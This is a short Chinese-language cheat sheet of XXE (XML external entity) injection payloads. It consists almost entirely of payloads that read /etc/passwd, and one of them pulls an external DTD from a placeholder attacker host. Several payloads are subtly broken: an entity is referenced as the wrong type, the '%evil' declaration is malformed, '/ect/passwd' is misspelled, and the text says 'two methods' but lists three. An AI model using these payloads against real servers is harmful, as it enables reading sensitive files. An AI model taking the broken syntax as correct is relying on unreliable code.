009-XXE 有回显利用方式总结.md
738 B / 2021-07-17 00:01:40
## XXE 有回显利用方式总结
结合外部实体声明(实体名称 SYSTEM ”uri/url“)和参数实体(% 实体名称 SYSTEM “uri-外部dtd”)有两种方式进行注入攻击
### 姿势一
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<name>&xxe;</name>
</root>
```
### 姿势二
```xml
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
```
### 姿势三
```xml
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://xxx/evil.dtd">
%xxe;]>
<foo>&evil;</foo>
```
##### 外部evil.dtd的内容
```xml
<!ENTITY %evil SYSTEM "file:///ect/passwd">
```